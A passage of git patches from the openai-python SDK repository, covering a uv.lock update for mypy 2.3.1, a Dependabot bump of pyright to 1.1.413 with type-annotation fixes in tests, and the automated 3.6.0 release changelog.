+ { url = "https://files.pythonhosted.org/packages/55/da/bdfba852e2562f599624af5bb7d29e36b0b4f526f2b8bac85efe0dd1803d/mypy-2.3.1-cp314-cp314-pyemscripten_2026_0_wasm32.whl", hash = "sha256:3c80cd23d85368bdd9f37d5231dfd97d35bcbf5bf41af96ef3a9b078ad1957f9", size = 7761712, upload-time = "2026-08-15T03:02:36.008Z" },
+ { url = "https://files.pythonhosted.org/packages/98/31/60fc64a74cdba4f2a5d642d32317993e479163e1ac7d91b695e5d15e2264/mypy-2.3.1-cp314-cp314-win_amd64.whl", hash = "sha256:4956f34d145e145562a0a0bf367f642bbc85c04ec2baf47ae015947c3169a85d", size = 11423968, upload-time = "2026-08-15T03:02:06.931Z" },
+ { url = "https://files.pythonhosted.org/packages/a9/23/eb5950b24cd26ba3b78f87707a275568d633c77dae8e61c9661be6055ca6/mypy-2.3.1-cp314-cp314-win_arm64.whl", hash = "sha256:cfb12e360242d23d91f5e978d94f58ea66acf5804c4fb6f2f794a20d4cb1b595", size = 10399323, upload-time = "2026-08-15T03:02:33.671Z" },
+ { url = "https://files.pythonhosted.org/packages/82/c7/f80f4e46c0b9a00eb5f78a79d49dda8bdf56a5230f7257fb33e76be04da7/mypy-2.3.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:e5f1c50bb05b64e2026b52867e8d21106f01313c744a2c4ecc34c90d12e8d6e2", size = 15121308, upload-time = "2026-08-15T03:01:46.053Z" },
+ { url = "https://files.pythonhosted.org/packages/5d/74/9b04f17c7074cc5188f02fb63a2ca1d43fedf479e84fe3091c39061a1d7f/mypy-2.3.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:667196b352f4cf304ded4c10f90cfc179263a1acfb3cdcfa984bdfd340d498bc", size = 15536590, upload-time = "2026-08-15T03:01:35.941Z" },
+ { url = "https://files.pythonhosted.org/packages/26/04/c837ef6208e567774e2ed1f863f8ba6ec4817b1b6dd426315e5d559b6ec9/mypy-2.3.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b9c53e395c12cad2c6d4b67d5da7c6057638a132d85c08b73646b18f802a0045", size = 16791074, upload-time = "2026-08-15T03:01:31.073Z" },
+ { url = "https://files.pythonhosted.org/packages/37/68/48730230afa45192d5bd429a6a2ff24a6f8dedda90fdf2b221792b54518f/mypy-2.3.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:18162b128c3f9c703cd35f5537446900b0d21a2549aa7a95d21380d2ef643fb0", size = 17069183, upload-time = "2026-08-15T03:02:28.566Z" },
+ { url = "https://files.pythonhosted.org/packages/1c/ea/ca23fc9c20eeda09a15c9cbcf50015d0e73f409f6ead059e42aa69a608ff/mypy-2.3.1-cp314-cp314t-win_amd64.whl", hash = "sha256:30c0477d4aab7b7f39c8397dc877f2c96b9fe5588ec379f372c56eb63d599f63", size = 12154679, upload-time = "2026-08-15T03:02:04.809Z" },
+ { url = "https://files.pythonhosted.org/packages/3b/67/8d982126034990869466f73b8db80dcb2234a7ac39b4dad093e047a79835/mypy-2.3.1-cp314-cp314t-win_arm64.whl", hash = "sha256:6941ab3619377bc3f32ca02876b07d27f216f5201604b664d3937ea0fdd23bb4", size = 10969159, upload-time = "2026-08-15T03:02:38.152Z" },
+ { url = "https://files.pythonhosted.org/packages/ee/f7/41e7f2d8117fbc7a7587286162ffe2f688984b69c46ed63cf5f2e4fc3bae/mypy-2.3.1-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:6f041a6de52c9217ca125e78ba0a335cb7fd98a1c0580978e49ab2b126f70b57", size = 13990694, upload-time = "2026-08-15T03:03:21.919Z" },
+ { url = "https://files.pythonhosted.org/packages/06/85/8f665811a0c8f3bf6fa1d9acd665ec2d97a2bcc453ae68dcd92340941cd6/mypy-2.3.1-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5159ae60f5dbc3a498af5ba8365505808ac8031bc63f9e00304ad545d40bdd9b", size = 14203518, upload-time = "2026-08-15T03:01:48.455Z" },
+ { url = "https://files.pythonhosted.org/packages/2d/82/91b866c8546b120bff83b73a439d90d2d63ef3aff113599e6b8e4d566848/mypy-2.3.1-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:47a8a7a0a7f6f6e63995c0ac36fa0c07b127413fdc81f0439b7f3dccafd33561", size = 15220224, upload-time = "2026-08-15T03:01:23.577Z" },
+ { url = "https://files.pythonhosted.org/packages/c8/78/c226c99208ee40de7c768369fa533f933afa003dfdc606ff021450724e91/mypy-2.3.1-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:2329c0501293d4e1f33bc15d04d6304d65a1cdda967ee93a05c1e681a3923133", size = 15501512, upload-time = "2026-08-15T03:02:09.453Z" },
+ { url = "https://files.pythonhosted.org/packages/a9/e7/7cfb3f106c393979f4cc37ad6c0586044d50401e3c35b0c003e4f3ba6bc9/mypy-2.3.1-cp315-cp315-pyemscripten_2026_5_wasm32.whl", hash = "sha256:bb26deed807bdb0457cf3e3f1cd7c4a1cf9d66864eaf1b4a61e06805d4c6b1f9", size = 7761913, upload-time = "2026-08-15T03:01:55.65Z" },
+ { url = "https://files.pythonhosted.org/packages/99/3c/52affefa273b97939a1f474ae4a349c8718635c15b941112dfab4291b0c1/mypy-2.3.1-cp315-cp315-win_amd64.whl", hash = "sha256:375d7013876a8233b2d05be185bfa09f689696cd999ce8b1cfe6acac5c80e8a3", size = 11422533, upload-time = "2026-08-15T03:03:24.101Z" },
+ { url = "https://files.pythonhosted.org/packages/2a/b7/75643e70c72a5b346d8a9b1543c967ea8824df2ee3fb7ccba652c272b7bb/mypy-2.3.1-cp315-cp315-win_arm64.whl", hash = "sha256:586b3612214cceabb3c0f588c97e7d1e535393f06a60e912e994f6b3ace97523", size = 10397931, upload-time = "2026-08-15T03:02:55.265Z" },
+ { url = "https://files.pythonhosted.org/packages/10/ce/53be21f2d4adfcd26f63f1184a13ed797015ab463853f117e2e11e4d726f/mypy-2.3.1-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:ef0c6335cda9d807f8193d8ff6204a72bc909fa9882aacbca14f43cdb7188306", size = 15118669, upload-time = "2026-08-15T03:02:51.479Z" },
+ { url = "https://files.pythonhosted.org/packages/62/43/20de757cd42989d291a17fad607742c4c74e875ce5cea00e5a5225020ac1/mypy-2.3.1-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e598c8c66401d26b150872154a286e6d484cf2789c3bb28a7556806298423021", size = 15545627, upload-time = "2026-08-15T03:03:05.132Z" },
+ { url = "https://files.pythonhosted.org/packages/7e/fc/092bdf77ad280eaf501422f0f3b966012b528076cc13e41a774861c907d1/mypy-2.3.1-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:eda22fd4efa9dcd39331d1dede9b5b8b8a7fd69af07592e778433da98610d29e", size = 16764157, upload-time = "2026-08-15T03:02:23.958Z" },
+ { url = "https://files.pythonhosted.org/packages/94/5c/c94c4d62d909b07f552d0d9356d7acc943825558e602a64822ffa2231536/mypy-2.3.1-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:2a0ba2e57847849fb0d1fcdabb32786d223095ed8bc121dfe322bcdb3d9c46bc", size = 17073258, upload-time = "2026-08-15T03:02:14.573Z" },
+ { url = "https://files.pythonhosted.org/packages/c0/f7/511a88b89e478053c02d22039bb8f3ce4183efe8fd7a4f0a5910a8bb0a32/mypy-2.3.1-cp315-cp315t-win_amd64.whl", hash = "sha256:3f7e865dd51f235f60a2dbcd8728a1c095f5ca28f095d48a725b84cd935735c4", size = 12135505, upload-time = "2026-08-15T03:02:16.714Z" },
+ { url = "https://files.pythonhosted.org/packages/71/bf/02573b56964ecb0f7c644f915f53c325ae15c3faec521c5adf11599a32df/mypy-2.3.1-cp315-cp315t-win_arm64.whl", hash = "sha256:8ad80807dc3ab8ea978b1b2b6e4a657194ace1d4ef03e0e731aff1abd517da29", size = 10962647, upload-time = "2026-08-15T03:01:43.712Z" },
+ { url = "https://files.pythonhosted.org/packages/8e/41/9675c7a1e78edecfba0b79e587a52594c56e189368261dc7b3a7fffb9527/mypy-2.3.1-py3-none-any.whl", hash = "sha256:6ed5c7e3419083268e5c9258bd1c1ef91af44a9e89374dbcaf37b775716e72eb", size = 2754338, upload-time = "2026-08-15T03:02:53.4Z" },
]
[[package]]
@@ -1209,9 +1434,12 @@ name = "numpy"
version = "2.4.6"
source = { registry = "https://pypi.org/simple" }
resolution-markers = [
- "python_full_version >= '3.14' and sys_platform == 'win32'",
- "python_full_version >= '3.14' and sys_platform == 'emscripten'",
- "python_full_version >= '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32'",
+ "python_full_version >= '3.15' and sys_platform == 'win32'",
+ "python_full_version == '3.14.*' and sys_platform == 'win32'",
+ "python_full_version >= '3.15' and sys_platform == 'emscripten'",
+ "python_full_version == '3.14.*' and sys_platform == 'emscripten'",
+ "python_full_version >= '3.15' and sys_platform != 'emscripten' and sys_platform != 'win32'",
+ "python_full_version == '3.14.*' and sys_platform != 'emscripten' and sys_platform != 'win32'",
"python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'win32'",
"python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'emscripten'",
"python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32'",
@@ -1393,7 +1621,7 @@ dev = [
{ name = "botocore", specifier = "==1.42.97" },
{ name = "griffe", specifier = ">=1" },
{ name = "inline-snapshot", specifier = ">=0.28.0" },
- { name = "mypy", specifier = "==1.17" },
+ { name = "mypy", specifier = "==2.3.1" },
{ name = "pandas-stubs", specifier = ">=1.1.0.11" },
{ name = "pytest", specifier = ">=9.0.3" },
{ name = "pytest-asyncio", specifier = ">=1.4.0" },
@@ -1662,9 +1890,12 @@ name = "pydantic"
version = "1.10.26"
source = { registry = "https://pypi.org/simple" }
resolution-markers = [
- "python_full_version >= '3.14' and sys_platform == 'win32'",
- "python_full_version >= '3.14' and sys_platform == 'emscripten'",
- "python_full_version >= '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32'",
+ "python_full_version >= '3.15' and sys_platform == 'win32'",
+ "python_full_version == '3.14.*' and sys_platform == 'win32'",
+ "python_full_version >= '3.15' and sys_platform == 'emscripten'",
+ "python_full_version == '3.14.*' and sys_platform == 'emscripten'",
+ "python_full_version >= '3.15' and sys_platform != 'emscripten' and sys_platform != 'win32'",
+ "python_full_version == '3.14.*' and sys_platform != 'emscripten' and sys_platform != 'win32'",
"python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'win32'",
"python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'emscripten'",
"python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32'",
@@ -1711,9 +1942,12 @@ name = "pydantic"
version = "2.12.5"
source = { registry = "https://pypi.org/simple" }
resolution-markers = [
- "python_full_version >= '3.14' and sys_platform == 'win32'",
- "python_full_version >= '3.14' and sys_platform == 'emscripten'",
- "python_full_version >= '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32'",
+ "python_full_version >= '3.15' and sys_platform == 'win32'",
+ "python_full_version == '3.14.*' and sys_platform == 'win32'",
+ "python_full_version >= '3.15' and sys_platform == 'emscripten'",
+ "python_full_version == '3.14.*' and sys_platform == 'emscripten'",
+ "python_full_version >= '3.15' and sys_platform != 'emscripten' and sys_platform != 'win32'",
+ "python_full_version == '3.14.*' and sys_platform != 'emscripten' and sys_platform != 'win32'",
"python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'win32'",
"python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'emscripten'",
"python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32'",
From 9917c6e28e66e90e1227b3d223c06a8c5441515a Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Thu, 27 Aug 2026 22:28:20 +0000
Subject: [PATCH 090/341] chore(deps-dev): bump pyright from 1.1.399 to 1.1.413
(#3744)
Bumps
[pyright](https://github.com/Microsoft/pyright/tree/HEAD/packages/pyright)
from 1.1.399 to 1.1.413.
Release notes
Sourced from pyright's
releases.
Published 1.1.412
Changes:
- fceca4d133a83034fc195dbba8b3814992b0b26b Use shared authenticated
npm config in pipelines (#11626)
- e814a5e480d0076b5eef25c570fdc1b7e29dcab0 Align pyright-typeserver
version with 1.1.412 (#11625)
- 8df447d6083456f57631bba0ba3e1746edd13523 Bump version to 1.1.412 (#11624)
- 27001c2eb6540135dd09f625505f0cccc961715f Preserve union-expanded
constructor types (#11621)
- 870afb084c8620a68cd2a2f1dd7bac7de4d9ae40 Narrow closed TypedDicts on
a key membership check (#11620)
- 69c1b12356cbf3155add14d50be2563eebd3da8d Complete TypeForm
conformance (#11599)
- eefd22541da12c4d5e7703c4ab9d1561131cacd9 Expand conditional
TypedDict test coverage (#11617)
- 273a1a8a9d0ea6589228ffaecab28e2ff425c1d2 Fix defaulted subclass type
specialization (#11596)
- 25641ef11dbe11371b4e3f026a731a1b0a58bd0e Apply overload
materialization to nested Any (#11601)
- 30e847056d8aaf4044412e5fb606e43eb5301a07 Implement PEP 800
disjoint-base semantics (#11593)
- 6b7f4c7df0d523cd2e4b2146a55dbf5714d3f625 Fix heterogeneous
TypeVarTuple constraint solving (#11595)
- fd9ddadbf7c73046dc0e29c1367d4f82c7843328 Support complete enum
literal union equivalence (#11597)
- 623b043b9ee221e81ef7ef57505b0c98e4f61a7d docs: mention MegaLinter in
CI integration page (#11604)
- e8af042e988f9b06b0c6da77b2269a8bd73e5d8d Support conditional
TypedDict fields (#11594)
- dde0aae19c91db78d9a5b9e71564a2ed18595e5f Adapt stubPath
special-casing to latest changes (#11532)
- de94b525d69e6b9554f39947d6c1eaefab5c41ab Bump brace-expansion from
5.0.6 to 5.0.8 in /packages/vscode-pyright (#11569)
- 491ade18bc464bd58bd2a6ab82785e21f51c4c69 Bump fast-uri from 3.1.2 to
3.1.4 in /packages/pyright-internal (#11566)
- 925dee8c790474f743fcd4bbf7a4c2b5e3edb382 Bump axios from 1.16.1 to
1.18.1 (#11555)
- 1e680297f9c018b035a0dfa2bbb7428cb204d504 Bump undici from 7.27.2 to
7.28.0 in /packages/vscode-pyright (#11512)
- 559a73706750cfb34c08209c0373dbe8ddbe8601 Fix bool narrowing for
numeric literal patterns (#11570)
- 729aabfa3c117bf9323edd19154d356cababd0ce Fix implicit
class binding in lambdas (#11541)
- 84711a8787101a472f4ed9e862286f46c685d57c Fix narrowing of walrus RHS
under is/is not None (#11564)
- 33bc458021aac4000b1a653e6cdd63cd2f71dae5 Fix false positive when
assigning to attribute of union with divergent member types (#11560)
[ #11559
]
- 93ea6468a40c7c8cdab5643f66411da5e0414742 Fix #11450:
[FR]:
struct.unpack type inference (#11494)
- 5fc16373b9e9d56cb8e57e707e9cc35c00bc3a6d Fix #11475:
Cannot override a class's callable variable with a method (#11500)
- 231b66e3429fbf4fa92f4396a83192a10e31b880 Fix #11478:
Support overloads on property setters (#11499)
- 4c60ea9967d2633894e873c1b53145a28106f9a8 Add standalone Type Server
Protocol (TSP) server to Pyright (#11537)
- 433e84d82d7944d129dbc239499d13eaae5f81ac Fix #11453:
no error on accessing qualname of instance (#11503)
- da05559314c5e5171c95b1193ae627b96bb44aaf Skip unknown/missing
parameter type checks for overload implementations (#11498)
- 035fa623fdfc351aa0ba8e64a8fea127b62c13ee Report duplicate KW_ONLY
separators in dataclasses (#11495)
[ #11486
]
- 155a25f14a8cafc458c9fbdedc516b17178200a1 Fix #11472:
TypeVarTuple escapes method with very nested recursive tuple aliases (#11497)
- ffe1973e5db7c181819dfb049335490b3b868cf2 Fix #11481:
1.1.410 detects type as module (#11501)
[ #11396
]
- e1f6805d25ec12725a04d8f315845bedd7328ea4 Fix bounded type var match
narrowing widening solved type args (#11527)
[ #11489,
#11526
]
- ab5cb1aeabf8225c86ea4f647a3c163fa14d342c Enable TypeForm support by
default (#11412)
[ #2
]
This list of changes was auto
generated.
Published 1.1.411
Changes:
- 9a9205fc32a2685767f38f348f5d9232701d4b0b fix Agentless jobs error in
release (#11524)
- c9315a27b70339fb8e2124cd60c6227630668896 Bump version to 1.1.411 (#11523)
... (truncated)
Commits
Maintainer changes
This version was pushed to npm by microsoft1es, a new
releaser for pyright since your current version.
[](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)
Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.
[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)
---
Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot show ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
---------
Signed-off-by: dependabot[bot]
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Justin Beckwith
---
package.json | 2 +-
pnpm-lock.yaml | 10 +++++-----
src/openai/_response.py | 2 +-
tests/lib/test_bedrock_credential_chain.py | 4 ++--
tests/node-tooling.test.cjs | 2 +-
tests/test_module_client.py | 4 ++--
tests/test_mtls_http_client.py | 4 ++--
tests/utils.py | 4 ++--
8 files changed, 16 insertions(+), 16 deletions(-)
diff --git a/package.json b/package.json
index 74002b2407..14ae4b4490 100644
--- a/package.json
+++ b/package.json
@@ -7,6 +7,6 @@
},
"devDependencies": {
"@stdy/cli": "0.22.2",
- "pyright": "1.1.399"
+ "pyright": "1.1.413"
}
}
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
index 6596484c44..35fd49ecae 100644
--- a/pnpm-lock.yaml
+++ b/pnpm-lock.yaml
@@ -12,8 +12,8 @@ importers:
specifier: 0.22.2
version: 0.22.2
pyright:
- specifier: 1.1.399
- version: 1.1.399
+ specifier: 1.1.413
+ version: 1.1.413
packages:
@@ -52,8 +52,8 @@ packages:
engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0}
os: [darwin]
- pyright@1.1.399:
- resolution: {integrity: sha512-roYApcOUEraOc2gTZX052/cw/AZ5rQGkdG/2DtU1/KyhfP+C5zHDlvOT24qRgPXDDkh76AvFwq5quZ1SMahq7w==}
+ pyright@1.1.413:
+ resolution: {integrity: sha512-1lpxKrh0DHHpfAQOfciZo2ojua2jase3wwO9at8kldc+F/p1PBscxA5CQ3G1qg5lMOMhXo6ZaiMLMXEAqADIAg==}
engines: {node: '>=14.0.0'}
hasBin: true
@@ -85,6 +85,6 @@ snapshots:
fsevents@2.3.3:
optional: true
- pyright@1.1.399:
+ pyright@1.1.413:
optionalDependencies:
fsevents: 2.3.3
diff --git a/src/openai/_response.py b/src/openai/_response.py
index acf31bdc4c..8b819ce812 100644
--- a/src/openai/_response.py
+++ b/src/openai/_response.py
@@ -243,7 +243,7 @@ def _parse(self, *, to: type[_T] | None = None) -> R | _T:
# in the response, e.g. application/json; charset=utf-8
content_type, *_ = response.headers.get("content-type", "*").split(";")
if not content_type.endswith("json"):
- if is_basemodel(cast_to):
+ if is_basemodel(cast(type, cast_to)):
try:
data = response.json()
except Exception as exc:
diff --git a/tests/lib/test_bedrock_credential_chain.py b/tests/lib/test_bedrock_credential_chain.py
index fec363aeb1..a2af4f5779 100644
--- a/tests/lib/test_bedrock_credential_chain.py
+++ b/tests/lib/test_bedrock_credential_chain.py
@@ -3,7 +3,7 @@
import sys
import json
import threading
-from typing import Any, Iterator, cast
+from typing import Any, Generator, cast
from pathlib import Path
from datetime import datetime, timezone, timedelta
from contextlib import contextmanager
@@ -102,7 +102,7 @@ def _assert_signed_with(request: httpx2.Request, name: str, *, region: str) -> N
@contextmanager
-def _metadata_server() -> Iterator[tuple[str, list[tuple[str, str, str | None]]]]:
+def _metadata_server() -> Generator[tuple[str, list[tuple[str, str, str | None]]], None, None]:
calls: list[tuple[str, str, str | None]] = []
class Handler(BaseHTTPRequestHandler):
diff --git a/tests/node-tooling.test.cjs b/tests/node-tooling.test.cjs
index d9f676fe13..df41cecf30 100644
--- a/tests/node-tooling.test.cjs
+++ b/tests/node-tooling.test.cjs
@@ -22,7 +22,7 @@ function fixture(t) {
return root;
}
-function installFake(root, version = '1.1.399') {
+function installFake(root, version = JSON.parse(fs.readFileSync(path.join(root, 'package.json'))).devDependencies.pyright) {
const directory = path.join(root, 'node_modules/pyright');
fs.mkdirSync(directory, { recursive: true });
fs.writeFileSync(path.join(directory, 'package.json'), JSON.stringify({ version }));
diff --git a/tests/test_module_client.py b/tests/test_module_client.py
index 4ef7cf51b6..6b8076c6f6 100644
--- a/tests/test_module_client.py
+++ b/tests/test_module_client.py
@@ -101,14 +101,14 @@ def test_http_client_option() -> None:
import contextlib
-from typing import Iterator
+from typing import Generator
from openai.lib.azure import AzureOpenAI, MutuallyExclusiveAuthError
from openai.lib.bedrock import BedrockOpenAI
@contextlib.contextmanager
-def fresh_env() -> Iterator[None]:
+def fresh_env() -> Generator[None, None, None]:
old = _os.environ.copy()
try:
diff --git a/tests/test_mtls_http_client.py b/tests/test_mtls_http_client.py
index ae3318c741..7db8432b42 100644
--- a/tests/test_mtls_http_client.py
+++ b/tests/test_mtls_http_client.py
@@ -9,7 +9,7 @@
from pathlib import Path
from contextlib import contextmanager
from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler
-from collections.abc import Iterator
+from collections.abc import Generator
from typing_extensions import override
import pytest
@@ -45,7 +45,7 @@ def log_message(self, format: str, *args: object) -> None:
@contextmanager
-def _mtls_server() -> Iterator[ThreadingHTTPServer]:
+def _mtls_server() -> Generator[ThreadingHTTPServer, None, None]:
_Handler.peer_certificates = []
_Handler.request_paths = []
server_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
diff --git a/tests/utils.py b/tests/utils.py
index e03ed1a039..dafbe17519 100644
--- a/tests/utils.py
+++ b/tests/utils.py
@@ -5,7 +5,7 @@
import inspect
import traceback
import contextlib
-from typing import Any, TypeVar, Iterator, Sequence, ForwardRef, cast
+from typing import Any, TypeVar, Sequence, Generator, ForwardRef, cast
from datetime import date, datetime
from typing_extensions import Literal, get_args, get_origin, assert_type
@@ -168,7 +168,7 @@ def rich_print_str(obj: object) -> str:
@contextlib.contextmanager
-def update_env(**new_env: str | Omit) -> Iterator[None]:
+def update_env(**new_env: str | Omit) -> Generator[None, None, None]:
old = os.environ.copy()
try:
From 1cfa80ab6b4bd48e3566f05992027b2ff460f2c5 Mon Sep 17 00:00:00 2001
From: "openai-sdks[bot]" <284451331+openai-sdks[bot]@users.noreply.github.com>
Date: Fri, 28 Aug 2026 22:20:03 +0000
Subject: [PATCH 091/341] release: 3.6.0 (#3752)
Automated Release PR
---
##
[3.6.0](https://github.com/openai/openai-python/compare/v3.5.0...v3.6.0)
(2026-08-27)
### Features
* **api:** add compute_units to Responses and Chat Completions usage
([#3749](https://github.com/openai/openai-python/issues/3749))
([52421d1](https://github.com/openai/openai-python/commit/52421d197e96b4480fcc16e78345578996452c79))
### Bug Fixes
* **auth:** harden X.509 workload identity integration
([#3740](https://github.com/openai/openai-python/issues/3740))
([fc3ad6c](https://github.com/openai/openai-python/commit/fc3ad6c55a1a250e16707396e86d7373f690a0fc))
### Chores
* **deps-dev:** bump @stdy/cli from 0.22.1 to 0.22.2
([#3719](https://github.com/openai/openai-python/issues/3719))
([4f5598c](https://github.com/openai/openai-python/commit/4f5598c8d822fcc281bb8862e424fa6ead310ca8))
* **deps-dev:** bump mypy from 1.17 to 2.3.1
([#3747](https://github.com/openai/openai-python/issues/3747))
([0b52c9e](https://github.com/openai/openai-python/commit/0b52c9ecbc2bfe7059a1273674dff7647d414141))
* **deps-dev:** bump pandas-stubs from 2.2.2.240807 to 2.3.3.260113
([#3659](https://github.com/openai/openai-python/issues/3659))
([95f0b43](https://github.com/openai/openai-python/commit/95f0b43d31599fe501f045dcc24964d1df5e196f))
* **deps-dev:** bump pyright from 1.1.399 to 1.1.413
([#3744](https://github.com/openai/openai-python/issues/3744))
([9917c6e](https://github.com/openai/openai-python/commit/9917c6e28e66e90e1227b3d223c06a8c5441515a))
* **deps-dev:** bump rich from 14.2.0 to 15.0.0
([#3717](https://github.com/openai/openai-python/issues/3717))
([7a5484d](https://github.com/openai/openai-python/commit/7a5484d8118e82ec004e964ab2ca484c7dd7c555))
* **deps:** bump actions/checkout from 6.0.2 to 7.0.1
([#3665](https://github.com/openai/openai-python/issues/3665))
([d0a2550](https://github.com/openai/openai-python/commit/d0a25503498b51495aa4a1dbb97e616a24cd840e))
* **deps:** bump actions/download-artifact from 6.0.0 to 8.0.1
([#3669](https://github.com/openai/openai-python/issues/3669))
([f627619](https://github.com/openai/openai-python/commit/f6276194cda9b95499d3ebc3d6d013e730bf0490))
* **deps:** bump github/codeql-action/init from 4.37.1 to 4.37.7
([#3745](https://github.com/openai/openai-python/issues/3745))
([a36010d](https://github.com/openai/openai-python/commit/a36010dbb5d9c15a1fdf780772bc0204d0acf138))
### Build System
* **deps:** bump actions/setup-python from 5.6.0 to 7.0.0
([#3672](https://github.com/openai/openai-python/issues/3672))
([d765db7](https://github.com/openai/openai-python/commit/d765db7e929e76fc9e7edcc3a058d723ec69ac51))
* **deps:** bump pypa/gh-action-pypi-publish from 1.14.0 to 1.14.2
([#3666](https://github.com/openai/openai-python/issues/3666))
([dacbb66](https://github.com/openai/openai-python/commit/dacbb6646d1b18257545dbb29badf8a9311ed0ae))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
Co-authored-by: openai-sdks[bot] <284451331+openai-sdks[bot]@users.noreply.github.com>
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 30 ++++++++++++++++++++++++++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 34 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index bf0d036177..f391d41627 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "3.5.0"
+ ".": "3.6.0"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index c5ff44a138..76b74cd447 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,35 @@
# Changelog
+## [3.6.0](https://github.com/openai/openai-python/compare/v3.5.0...v3.6.0) (2026-08-27)
+
+
+### Features
+
+* **api:** add compute_units to Responses and Chat Completions usage ([#3749](https://github.com/openai/openai-python/issues/3749)) ([52421d1](https://github.com/openai/openai-python/commit/52421d197e96b4480fcc16e78345578996452c79))
+
+
+### Bug Fixes
+
+* **auth:** harden X.509 workload identity integration ([#3740](https://github.com/openai/openai-python/issues/3740)) ([fc3ad6c](https://github.com/openai/openai-python/commit/fc3ad6c55a1a250e16707396e86d7373f690a0fc))
+
+
+### Chores
+
+* **deps-dev:** bump @stdy/cli from 0.22.1 to 0.22.2 ([#3719](https://github.com/openai/openai-python/issues/3719)) ([4f5598c](https://github.com/openai/openai-python/commit/4f5598c8d822fcc281bb8862e424fa6ead310ca8))
+* **deps-dev:** bump mypy from 1.17 to 2.3.1 ([#3747](https://github.com/openai/openai-python/issues/3747)) ([0b52c9e](https://github.com/openai/openai-python/commit/0b52c9ecbc2bfe7059a1273674dff7647d414141))
+* **deps-dev:** bump pandas-stubs from 2.2.2.240807 to 2.3.3.260113 ([#3659](https://github.com/openai/openai-python/issues/3659)) ([95f0b43](https://github.com/openai/openai-python/commit/95f0b43d31599fe501f045dcc24964d1df5e196f))
+* **deps-dev:** bump pyright from 1.1.399 to 1.1.413 ([#3744](https://github.com/openai/openai-python/issues/3744)) ([9917c6e](https://github.com/openai/openai-python/commit/9917c6e28e66e90e1227b3d223c06a8c5441515a))
+* **deps-dev:** bump rich from 14.2.0 to 15.0.0 ([#3717](https://github.com/openai/openai-python/issues/3717)) ([7a5484d](https://github.com/openai/openai-python/commit/7a5484d8118e82ec004e964ab2ca484c7dd7c555))
+* **deps:** bump actions/checkout from 6.0.2 to 7.0.1 ([#3665](https://github.com/openai/openai-python/issues/3665)) ([d0a2550](https://github.com/openai/openai-python/commit/d0a25503498b51495aa4a1dbb97e616a24cd840e))
+* **deps:** bump actions/download-artifact from 6.0.0 to 8.0.1 ([#3669](https://github.com/openai/openai-python/issues/3669)) ([f627619](https://github.com/openai/openai-python/commit/f6276194cda9b95499d3ebc3d6d013e730bf0490))
+* **deps:** bump github/codeql-action/init from 4.37.1 to 4.37.7 ([#3745](https://github.com/openai/openai-python/issues/3745)) ([a36010d](https://github.com/openai/openai-python/commit/a36010dbb5d9c15a1fdf780772bc0204d0acf138))
+
+
+### Build System
+
